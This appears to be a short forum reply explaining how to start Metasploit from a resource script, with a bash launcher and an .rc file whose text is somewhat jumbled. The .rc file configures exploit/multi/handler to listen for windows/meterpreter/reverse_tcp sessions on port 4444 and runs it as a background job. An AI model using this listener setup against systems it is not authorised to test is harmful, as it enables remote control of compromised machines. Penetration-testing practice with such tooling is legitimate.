I've stopped using msfcli. I used to as i thought it was faster but now im using a two scripts to start msfconsole. The one i store somewhere in the computer, and the other i store on my desktop. the desktop one only needs to look like this
and then the second script i store in /root/scripts/starter.rc and to do the same thing that your command above does you need it to contain this#/bin/bash
msfconsole -r /location of second script
I understand i havent really answered your originial question sorry. (i also hate it when people do this to me) I know you can do it the way you want but i cant remember sorryuse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.25.x.x
set LPORT 4444
set ExitOnSession false
exploit -j -z
I hope this method works just as well for you.


